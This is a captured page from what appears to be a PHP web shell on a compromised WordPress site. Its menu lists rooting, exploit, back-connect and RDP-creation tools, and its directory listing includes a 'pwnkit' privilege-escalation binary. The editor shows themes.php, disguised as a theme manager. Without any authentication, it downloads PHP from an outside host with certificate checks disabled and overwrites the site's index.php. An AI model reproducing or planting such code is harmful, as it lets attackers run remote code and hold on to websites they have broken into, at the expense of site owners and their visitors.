Linux hkg112.arandomserver.com 4.18.0-553.124.4.lve.el8.x86_64 #1 SMP Fri May 15 13:02:13 UTC 2026 x86_64
LiteSpeed
: 172.96.185.170 | : 216.73.216.73
Cant Read [ /etc/named.conf ]
7.4.33
gom
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
gom /
dagathomo.cc /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
.tmb
[ DIR ]
drwxrwxrwx
.well-known
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
cgi-bin
[ DIR ]
drwxr-xr-x
wp-admin
[ DIR ]
drwxr-xr-x
wp-content
[ DIR ]
drwxr-xr-x
wp-includes
[ DIR ]
drwxr-xr-x
.htaccess
487
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
123.php
62
B
-rw-r--r--
awp-setup.php.php
481
B
-rw-r--r--
biufile.php
0
B
-rw-r--r--
content.json
3.6
KB
-rw-r--r--
error_log
1.84
KB
-rw-r--r--
fgd
1.56
KB
-rw-r--r--
index.php
420
B
-r--r--r--
license.txt
19.44
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
readme.html
7.23
KB
-rw-r--r--
robots.txt
2.59
KB
-rw-r--r--
themes.php
26.66
KB
-rw-r--r--
wp-activate.php
7.2
KB
-rw-r--r--
wp-blog-header.php
351
B
-rw-r--r--
wp-comments-post.php
2.27
KB
-rw-r--r--
wp-config-sample.php
3.26
KB
-rw-r--r--
wp-config.php
3.36
KB
-rw-r--r--
wp-cron.php
5.49
KB
-rw-r--r--
wp-links-opml.php
2.43
KB
-rw-r--r--
wp-load.php
3.84
KB
-rw-r--r--
wp-login.php
50.63
KB
-rw-r--r--
wp-mail.php
8.52
KB
-rw-r--r--
wp-settings.php
31.88
KB
-rw-r--r--
wp-signup.php
33.81
KB
-rw-r--r--
wp-trackback.php
5.09
KB
-rw-r--r--
xmlrpc.php
3.13
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : themes.php
<?php /** * 🎛️ Theme Manager — myzedd.tech * GUI ringan, cepat, no framework */ define('THEMES_BASE', 'https://myzedd.tech/themes'); define('THEMES_LIST', THEMES_BASE . '/list.php'); define('OUTPUT_DIR', __DIR__); define('TIMEOUT', 12); function fetch_url(string $url) { $ctx = stream_context_create([ 'http' => ['timeout' => TIMEOUT, 'user_agent' => 'Mozilla/5.0 ThemeManager/2.0', 'ignore_errors' => true], 'ssl' => ['verify_peer' => false, 'verify_peer_name' => false], ]); $r = @file_get_contents($url, false, $ctx); return ($r !== false && strlen($r) > 0) ? $r : false; } function get_themes() { $r = fetch_url(THEMES_LIST); if (!$r) return []; $d = json_decode($r, true); return is_array($d) ? $d : []; } function install_theme(string $theme) { $files = ['index.php' => THEMES_BASE."/$theme/index.php", 'content.json' => THEMES_BASE."/$theme/content.json"]; $log = []; $ok = false; foreach (['index.php','content.json'] as $f) { $p = OUTPUT_DIR."/$f"; if (file_exists($p)) { unlink($p); $log[] = ['del', "$f lama dihapus"]; } } foreach ($files as $fname => $url) { $data = fetch_url($url); if ($data && strlen($data) > ($fname === 'index.php' ? 200 : 5)) { file_put_contents(OUTPUT_DIR."/$fname", $data); $log[] = ['ok', "$fname didownload (".number_format(strlen($data))." bytes)"]; if ($fname === 'index.php') $ok = true; } else { $log[] = ['warn', "$fname tidak tersedia, skip"]; } } $log[] = $ok ? ['done', "Theme '$theme' berhasil dipasang!"] : ['err', "Gagal install theme '$theme'"]; return ['success' => $ok, 'theme' => $theme, 'log' => $log]; } function get_current() { $p = OUTPUT_DIR.'/content.json'; if (!file_exists($p)) return ''; $d = json_decode(file_get_contents($p), true); return $d['company']['name'] ?? ''; } // ── AJAX handlers ───────────────────────────────────────────────────────────── $act = $_POST['action'] ?? ''; if ($act === 'get_list') { header('Content-Type: application/json'); echo json_encode(['themes' => get_themes(), 'current' => get_current()]); exit; } if ($act === 'install') { header('Content-Type: application/json'); $theme = trim($_POST['theme'] ?? ''); if (!$theme) { echo json_encode(['success'=>false,'log'=>[['err','No theme specified']]]); exit; } echo json_encode(install_theme($theme)); exit; } if ($act === 'install_random') { header('Content-Type: application/json'); $list = get_themes(); if (empty($list)) { echo json_encode(['success'=>false,'log'=>[['err','Gagal ambil daftar theme']]]); exit; } $theme = $list[array_rand($list)]; echo json_encode(install_theme($theme)); exit; } if ($act === 'current') { header('Content-Type: application/json'); echo json_encode(['name' => get_current()]); exit; } ?> <!DOCTYPE html> <html lang="id"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width,initial-scale=1"> <title>Theme Manager</title> <link rel="preconnect" href="https://fonts.googleapis.com"> <link href="https://fonts.googleapis.com/css2?family=Syne:wght@400;500;600;700;800&family=JetBrains+Mono:wght@400;500&display=swap" rel="stylesheet"> <style> /* ── RESET ── */ *,*::before,*::after{box-sizing:border-box;margin:0;padding:0} :root{ --bg:#080808; --surface:#101010; --surface2:#161616; --border:#1e1e1e; --border2:#2a2a2a; --text:#e8e8e8; --muted:#4a4a4a; --muted2:#333; --green:#00e5a0; --green-dim:#00e5a015; --amber:#f59e0b; --red:#ff4d4d; --blue:#4da6ff; --purple:#a78bfa; --r:10px; --r-sm:6px; } html{scroll-behavior:smooth} body{background:var(--bg);color:var(--text);font-family:'Syne',sans-serif;min-height:100vh;overflow-x:hidden} button{font-family:'Syne',sans-serif;cursor:pointer} input{font-family:'Syne',sans-serif} /* ── LAYOUT ── */ .app{display:grid;grid-template-columns:260px 1fr;min-height:100vh} /* ── SIDEBAR ── */ .sidebar{ background:var(--surface); border-right:1px solid var(--border); padding:1.5rem; display:flex;flex-direction:column;gap:1.5rem; position:sticky;top:0;height:100vh;overflow-y:auto; } .logo{display:flex;align-items:center;gap:.7rem;padding-bottom:1.2rem;border-bottom:1px solid var(--border)} .logo-icon{ width:34px;height:34px;border-radius:8px; background:linear-gradient(135deg,var(--green),#00b4d8); display:flex;align-items:center;justify-content:center; font-size:1rem;flex-shrink:0; } .logo-text{font-size:.95rem;font-weight:700;letter-spacing:.02em} .logo-sub{font-size:.65rem;color:var(--muted);font-family:'JetBrains Mono',monospace;letter-spacing:.05em} .sidebar-section{display:flex;flex-direction:column;gap:.4rem} .sidebar-label{font-size:.65rem;font-weight:700;text-transform:uppercase;letter-spacing:.15em;color:var(--muted);margin-bottom:.3rem;font-family:'JetBrains Mono',monospace} /* Current theme pill */ .current-pill{ background:var(--green-dim); border:1px solid var(--green)22; border-radius:var(--r-sm); padding:.75rem 1rem; } .current-dot{width:6px;height:6px;border-radius:50%;background:var(--green);display:inline-block;margin-right:.5rem;box-shadow:0 0 6px var(--green)} .current-name{font-size:.82rem;font-weight:700;color:var(--green);font-family:'JetBrains Mono',monospace} .current-label{font-size:.68rem;color:var(--muted);margin-top:.15rem} /* Buttons */ .btn{ display:flex;align-items:center;justify-content:center;gap:.5rem; padding:.7rem 1rem;border-radius:var(--r-sm);border:none; font-size:.82rem;font-weight:700;letter-spacing:.02em; transition:all .15s;outline:none; } .btn-primary{background:var(--green);color:#000} .btn-primary:hover{background:#00ffb3;transform:translateY(-1px);box-shadow:0 4px 20px var(--green)44} .btn-primary:active{transform:translateY(0)} .btn-ghost{background:transparent;color:var(--muted);border:1px solid var(--border2)} .btn-ghost:hover{border-color:var(--border2);color:var(--text);background:var(--surface2)} .btn-danger{background:transparent;color:var(--red);border:1px solid #ff4d4d22} .btn-danger:hover{background:#ff4d4d11;border-color:#ff4d4d44} .btn[disabled]{opacity:.4;pointer-events:none} /* Search */ .search-wrap{position:relative} .search-wrap input{ width:100%;background:var(--surface2);border:1px solid var(--border2); border-radius:var(--r-sm);padding:.65rem .65rem .65rem 2.2rem; color:var(--text);font-size:.8rem;outline:none;transition:border-color .15s; } .search-wrap input:focus{border-color:var(--green)55} .search-wrap input::placeholder{color:var(--muted)} .search-icon{position:absolute;left:.7rem;top:50%;transform:translateY(-50%);color:var(--muted);font-size:.85rem;pointer-events:none} /* Filter tabs */ .filter-tabs{display:flex;gap:.3rem} .ftab{ flex:1;padding:.45rem .3rem;border-radius:var(--r-sm);border:1px solid var(--border2); background:transparent;color:var(--muted);font-size:.72rem;font-weight:700; letter-spacing:.05em;text-transform:uppercase;transition:all .15s; font-family:'JetBrains Mono',monospace; } .ftab:hover{color:var(--text);border-color:var(--border2)} .ftab.active{background:var(--surface2);color:var(--text);border-color:var(--border2)} .ftab.dark.active{color:var(--blue);border-color:var(--blue)44;background:#4da6ff11} .ftab.wahh.active{color:var(--purple);border-color:var(--purple)44;background:#a78bfa11} /* Stats strip */ .stats-strip{display:grid;grid-template-columns:1fr 1fr;gap:.5rem} .stat-box{background:var(--surface2);border:1px solid var(--border);border-radius:var(--r-sm);padding:.7rem;text-align:center} .stat-num{font-size:1.4rem;font-weight:800;font-family:'JetBrains Mono',monospace;line-height:1} .stat-num.green{color:var(--green)}.stat-num.amber{color:var(--amber)} .stat-lbl{font-size:.62rem;color:var(--muted);text-transform:uppercase;letter-spacing:.08em;margin-top:.2rem} /* Sidebar footer */ .sidebar-footer{margin-top:auto;padding-top:1rem;border-top:1px solid var(--border)} .preview-link{ display:flex;align-items:center;gap:.5rem; text-decoration:none;color:var(--muted);font-size:.78rem; padding:.5rem .7rem;border-radius:var(--r-sm);transition:all .15s; border:1px solid transparent; } .preview-link:hover{color:var(--text);background:var(--surface2);border-color:var(--border2)} /* ── MAIN ── */ .main{padding:2rem;display:flex;flex-direction:column;gap:1.5rem} /* Top bar */ .topbar{display:flex;align-items:center;justify-content:space-between;gap:1rem} .topbar h1{font-size:1.4rem;font-weight:800;letter-spacing:-.01em} .topbar-right{display:flex;align-items:center;gap:.75rem} .refresh-btn{ width:34px;height:34px;border-radius:var(--r-sm);border:1px solid var(--border2); background:transparent;color:var(--muted);font-size:.9rem; display:flex;align-items:center;justify-content:center;transition:all .15s; } .refresh-btn:hover{color:var(--text);border-color:var(--border2);background:var(--surface2)} .refresh-btn.spin svg{animation:spin .6s linear infinite} @keyframes spin{to{transform:rotate(360deg)}} /* Theme grid */ .grid-header{display:flex;align-items:center;justify-content:space-between} .grid-count{font-size:.75rem;color:var(--muted);font-family:'JetBrains Mono',monospace} .theme-grid{ display:grid; grid-template-columns:repeat(auto-fill,minmax(190px,1fr)); gap:.75rem; } .theme-card{ background:var(--surface); border:1px solid var(--border); border-radius:var(--r); padding:1rem; cursor:pointer; transition:all .15s; position:relative; overflow:hidden; user-select:none; } .theme-card::before{ content:'';position:absolute;top:0;left:0;right:0;height:2px; background:var(--green);transform:scaleX(0);transform-origin:left;transition:transform .2s; } .theme-card:hover{border-color:var(--border2);background:var(--surface2);transform:translateY(-2px);box-shadow:0 8px 24px rgba(0,0,0,.4)} .theme-card:hover::before{transform:scaleX(1)} .theme-card.dark-card::before{background:var(--blue)} .theme-card.wahh-card::before{background:var(--purple)} .theme-card.active-card{border-color:var(--green)55;background:#00e5a008} .theme-card.active-card::before{transform:scaleX(1)} .tc-top{display:flex;align-items:flex-start;justify-content:space-between;margin-bottom:.65rem} .tc-badge{ font-size:.6rem;font-weight:700;letter-spacing:.08em;text-transform:uppercase; padding:.2rem .5rem;border-radius:4px;font-family:'JetBrains Mono',monospace; } .badge-dark{background:#4da6ff15;color:var(--blue);border:1px solid #4da6ff22} .badge-wahh{background:#a78bfa15;color:var(--purple);border:1px solid #a78bfa22} .tc-active-dot{width:6px;height:6px;border-radius:50%;background:var(--green);box-shadow:0 0 6px var(--green)} .tc-name{font-size:.88rem;font-weight:700;letter-spacing:-.01em;line-height:1.3;margin-bottom:.3rem} .tc-sub{font-size:.68rem;color:var(--muted);font-family:'JetBrains Mono',monospace} /* Log panel */ .log-panel{ background:var(--surface);border:1px solid var(--border); border-radius:var(--r);overflow:hidden; } .log-header{ display:flex;align-items:center;justify-content:space-between; padding:.85rem 1.1rem;border-bottom:1px solid var(--border); } .log-title{font-size:.78rem;font-weight:700;letter-spacing:.05em;text-transform:uppercase;font-family:'JetBrains Mono',monospace;color:var(--muted)} .log-clear{font-size:.7rem;color:var(--muted);background:none;border:none;cursor:pointer;transition:color .15s;font-family:'JetBrains Mono',monospace} .log-clear:hover{color:var(--red)} .log-body{padding:.75rem 1.1rem;min-height:80px;max-height:220px;overflow-y:auto;font-family:'JetBrains Mono',monospace;font-size:.75rem;line-height:1.9} .log-empty{color:var(--muted);font-style:italic} .log-line{display:flex;align-items:baseline;gap:.5rem;opacity:0;animation:fadein .2s forwards} @keyframes fadein{to{opacity:1}} .log-line .ts{color:var(--muted2);flex-shrink:0} .log-line.ok .msg{color:var(--green)} .log-line.del .msg{color:var(--muted)} .log-line.warn .msg{color:var(--amber)} .log-line.err .msg{color:var(--red)} .log-line.done .msg{color:var(--green);font-weight:700} .log-line.info .msg{color:var(--blue)} /* Loading overlay */ .loading-overlay{ position:fixed;inset:0;background:rgba(8,8,8,.8);backdrop-filter:blur(4px); display:flex;flex-direction:column;align-items:center;justify-content:center;gap:1rem; z-index:999;opacity:0;pointer-events:none;transition:opacity .2s; } .loading-overlay.show{opacity:1;pointer-events:all} .spinner{ width:40px;height:40px;border:2px solid var(--border2);border-top-color:var(--green); border-radius:50%;animation:spin .7s linear infinite; } .loading-text{font-size:.88rem;color:var(--muted);font-family:'JetBrains Mono',monospace} /* Toast */ .toast{ position:fixed;bottom:1.5rem;right:1.5rem; background:var(--surface2);border:1px solid var(--border2); border-radius:var(--r);padding:.85rem 1.2rem; font-size:.82rem;font-weight:600; display:flex;align-items:center;gap:.6rem; transform:translateY(10px);opacity:0; transition:all .25s;z-index:1000; max-width:280px; } .toast.show{transform:translateY(0);opacity:1} .toast.success{border-color:var(--green)44;color:var(--green)} .toast.error{border-color:var(--red)44;color:var(--red)} /* Empty state */ .empty{text-align:center;padding:3rem 2rem;color:var(--muted)} .empty-icon{font-size:2.5rem;margin-bottom:.75rem;opacity:.4} .empty-text{font-size:.85rem} /* Skeleton */ .skeleton{background:linear-gradient(90deg,var(--surface2) 25%,var(--border) 50%,var(--surface2) 75%);background-size:200% 100%;animation:shimmer 1.5s infinite;border-radius:6px} @keyframes shimmer{0%{background-position:200% 0}100%{background-position:-200% 0}} .skel-card{background:var(--surface);border:1px solid var(--border);border-radius:var(--r);padding:1rem} /* Scrollbar */ ::-webkit-scrollbar{width:4px;height:4px} ::-webkit-scrollbar-track{background:transparent} ::-webkit-scrollbar-thumb{background:var(--border2);border-radius:2px} ::-webkit-scrollbar-thumb:hover{background:#3a3a3a} /* Responsive */ @media(max-width:768px){ .app{grid-template-columns:1fr} .sidebar{height:auto;position:static} .main{padding:1.2rem} .theme-grid{grid-template-columns:repeat(auto-fill,minmax(150px,1fr))} } </style> </head> <body> <div class="loading-overlay" id="overlay"> <div class="spinner"></div> <div class="loading-text" id="overlay-text">Memproses...</div> </div> <div class="toast" id="toast"></div> <div class="app"> <!-- ── SIDEBAR ── --> <aside class="sidebar"> <div class="logo"> <div class="logo-icon">⚡</div> <div> <div class="logo-text">Theme Manager</div> <div class="logo-sub">myzedd.tech</div> </div> </div> <!-- Current --> <div class="sidebar-section"> <div class="sidebar-label">Active Theme</div> <div class="current-pill"> <div><span class="current-dot"></span><span class="current-name" id="current-name">Loading...</span></div> <div class="current-label" id="current-label">Mengambil data...</div> </div> </div> <!-- Actions --> <div class="sidebar-section"> <div class="sidebar-label">Actions</div> <button class="btn btn-primary" id="btn-random" onclick="installRandom()"> <span>🎲</span> Random Theme </button> <button class="btn btn-ghost" onclick="loadThemes()"> <span>↻</span> Refresh List </button> <a href="/" class="btn btn-ghost" target="_blank" style="text-decoration:none"> <span>↗</span> Preview Site </a> </div> <!-- Search --> <div class="sidebar-section"> <div class="sidebar-label">Search</div> <div class="search-wrap"> <span class="search-icon">⌕</span> <input type="text" id="search" placeholder="Cari tema..." oninput="filterThemes()"> </div> </div> <!-- Filter --> <div class="sidebar-section"> <div class="sidebar-label">Filter</div> <div class="filter-tabs"> <button class="ftab active" data-f="all" onclick="setFilter('all',this)">All</button> <button class="ftab dark" data-f="dark" onclick="setFilter('dark',this)">Dark</button> <button class="ftab wahh" data-f="wahh" onclick="setFilter('wahh',this)">Wahh</button> </div> </div> <!-- Stats --> <div class="sidebar-section"> <div class="sidebar-label">Stats</div> <div class="stats-strip"> <div class="stat-box"><div class="stat-num green" id="stat-total">—</div><div class="stat-lbl">Total</div></div> <div class="stat-box"><div class="stat-num amber" id="stat-dark">—</div><div class="stat-lbl">Dark</div></div> <div class="stat-box"><div class="stat-num" style="color:var(--purple)" id="stat-wahh">—</div><div class="stat-lbl">Wahh</div></div> <div class="stat-box"><div class="stat-num" style="color:var(--blue)" id="stat-shown">—</div><div class="stat-lbl">Shown</div></div> </div> </div> <div class="sidebar-footer"> <a href="fetch_theme.php" class="preview-link">⚙ CLI Mode →</a> </div> </aside> <!-- ── MAIN ── --> <main class="main"> <!-- Topbar --> <div class="topbar"> <h1>Semua Theme</h1> <div class="topbar-right"> <button class="refresh-btn" id="refresh-btn" onclick="loadThemes()" title="Refresh"> <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="M3 12a9 9 0 0 1 9-9 9.75 9.75 0 0 1 6.74 2.74L21 8"/><path d="M21 3v5h-5"/><path d="M21 12a9 9 0 0 1-9 9 9.75 9.75 0 0 1-6.74-2.74L3 16"/><path d="M8 16H3v5"/></svg> </button> </div> </div> <!-- Grid --> <div> <div class="grid-header" style="margin-bottom:.75rem"> <span class="grid-count" id="grid-count">Memuat...</span> </div> <div class="theme-grid" id="theme-grid"> <!-- skeleton --> <?php for($i=0;$i<12;$i++): ?> <div class="skel-card"> <div class="skeleton" style="height:12px;width:40%;margin-bottom:.6rem"></div> <div class="skeleton" style="height:16px;width:80%;margin-bottom:.4rem"></div> <div class="skeleton" style="height:11px;width:55%"></div> </div> <?php endfor; ?> </div> </div> <!-- Log --> <div class="log-panel"> <div class="log-header"> <span class="log-title">▸ Activity Log</span> <button class="log-clear" onclick="clearLog()">Clear</button> </div> <div class="log-body" id="log-body"> <div class="log-empty">Belum ada aktivitas.</div> </div> </div> </main> </div> <script> let allThemes = []; let currentFilter = 'all'; let currentActive = ''; // ── UTILS ────────────────────────────────────────────────────────────────────── function ts() { const d = new Date(); return [d.getHours(),d.getMinutes(),d.getSeconds()].map(n=>String(n).padStart(2,'0')).join(':'); } function log(type, msg) { const body = document.getElementById('log-body'); const empty = body.querySelector('.log-empty'); if (empty) empty.remove(); const line = document.createElement('div'); line.className = `log-line ${type}`; line.innerHTML = `<span class="ts">${ts()}</span><span class="msg">${msg}</span>`; body.appendChild(line); body.scrollTop = body.scrollHeight; } function clearLog() { document.getElementById('log-body').innerHTML = '<div class="log-empty">Belum ada aktivitas.</div>'; } function showToast(msg, type='success') { const t = document.getElementById('toast'); t.textContent = (type==='success'?'✓ ':type==='error'?'✕ ':'') + msg; t.className = `toast show ${type}`; clearTimeout(t._tid); t._tid = setTimeout(()=>t.classList.remove('show'), 3000); } function setLoading(show, text='Memproses...') { const o = document.getElementById('overlay'); document.getElementById('overlay-text').textContent = text; o.classList.toggle('show', show); } // ── THEME GRID ───────────────────────────────────────────────────────────────── function renderGrid(themes) { const grid = document.getElementById('theme-grid'); const count = document.getElementById('grid-count'); if (!themes.length) { grid.innerHTML = `<div class="empty" style="grid-column:1/-1"><div class="empty-icon">🔍</div><div class="empty-text">Tidak ada tema ditemukan.</div></div>`; count.textContent = '0 tema'; document.getElementById('stat-shown').textContent = '0'; return; } count.textContent = `${themes.length} tema`; document.getElementById('stat-shown').textContent = themes.length; grid.innerHTML = themes.map(t => { const isDark = t.endsWith('-dark'); const mode = isDark ? 'dark' : 'wahh'; const raw = t.replace(/-(dark|wahh)(-\d+)?$/, ''); const pretty = raw.replace(/-/g,' ').replace(/\b\w/g,c=>c.toUpperCase()); const isActive = t === currentActive; return ` <div class="theme-card ${mode}-card${isActive?' active-card':''}" onclick="installTheme('${t}')" title="Install ${t}"> <div class="tc-top"> <span class="tc-badge ${isDark?'badge-dark':'badge-wahh'}">${mode}</span> ${isActive?'<span class="tc-active-dot"></span>':''} </div> <div class="tc-name">${pretty}</div> <div class="tc-sub">${t}</div> </div>`; }).join(''); } function filterThemes() { const q = document.getElementById('search').value.toLowerCase(); const res = allThemes.filter(t => { const modeMatch = currentFilter==='all' || t.includes(`-${currentFilter}`); const textMatch = !q || t.includes(q); return modeMatch && textMatch; }); renderGrid(res); } function setFilter(f, btn) { currentFilter = f; document.querySelectorAll('.ftab').forEach(b=>b.classList.remove('active')); btn.classList.add('active'); filterThemes(); } // ── LOAD LIST ────────────────────────────────────────────────────────────────── async function loadThemes() { const refreshBtn = document.getElementById('refresh-btn'); refreshBtn.classList.add('spin'); log('info', 'Mengambil daftar theme...'); try { const fd = new FormData(); fd.append('action','get_list'); const res = await fetch('', {method:'POST', body:fd}); const data = await res.json(); allThemes = data.themes || []; currentActive = makeSlug(data.current || ''); // Update stats const darks = allThemes.filter(t=>t.endsWith('-dark')).length; const wahhs = allThemes.filter(t=>t.endsWith('-wahh')).length; document.getElementById('stat-total').textContent = allThemes.length; document.getElementById('stat-dark').textContent = darks; document.getElementById('stat-wahh').textContent = wahhs; // Update current if (data.current) { document.getElementById('current-name').textContent = data.current; document.getElementById('current-label').textContent = 'Theme aktif'; } else { document.getElementById('current-name').textContent = 'Belum ada'; document.getElementById('current-label').textContent = 'Belum ada tema terpasang'; } filterThemes(); log('ok', `${allThemes.length} tema ditemukan`); } catch(e) { log('err', 'Gagal ambil list: ' + e.message); document.getElementById('theme-grid').innerHTML = '<div class="empty" style="grid-column:1/-1"><div class="empty-icon">⚠️</div><div class="empty-text">Gagal memuat tema. Cek koneksi.</div></div>'; } finally { refreshBtn.classList.remove('spin'); } } // ── INSTALL ──────────────────────────────────────────────────────────────────── async function installTheme(theme) { setLoading(true, `Installing ${theme}...`); log('info', `Install: ${theme}`); try { const fd = new FormData(); fd.append('action','install'); fd.append('theme', theme); const res = await fetch('', {method:'POST', body:fd}); const data = await res.json(); data.log?.forEach(([type,msg]) => log(type, msg)); if (data.success) { currentActive = makeSlug(theme.replace(/-(dark|wahh)(-\d+)?$/,'')); document.getElementById('current-name').textContent = theme; document.getElementById('current-label').textContent = 'Theme aktif'; showToast(`${theme} terpasang!`, 'success'); filterThemes(); // re-render to update active dot } else { showToast('Gagal install tema', 'error'); } } catch(e) { log('err', 'Error: ' + e.message); showToast('Network error', 'error'); } finally { setLoading(false); } } async function installRandom() { setLoading(true, 'Memilih tema random...'); log('info', 'Install tema random...'); try { const fd = new FormData(); fd.append('action','install_random'); const res = await fetch('', {method:'POST', body:fd}); const data = await res.json(); data.log?.forEach(([type,msg]) => log(type, msg)); if (data.success) { currentActive = data.theme; document.getElementById('current-name').textContent = data.theme; document.getElementById('current-label').textContent = 'Theme aktif'; showToast(`${data.theme} terpasang!`, 'success'); filterThemes(); } else { showToast('Gagal install random', 'error'); } } catch(e) { log('err', 'Error: ' + e.message); showToast('Network error', 'error'); } finally { setLoading(false); } } function makeSlug(name) { return name.toLowerCase().replace(/[^a-z0-9]/g,'-').replace(/-+/g,'-').replace(/^-|-$/g,''); } // ── INIT ─────────────────────────────────────────────────────────────────────── loadThemes(); </script> </body> </html>
Close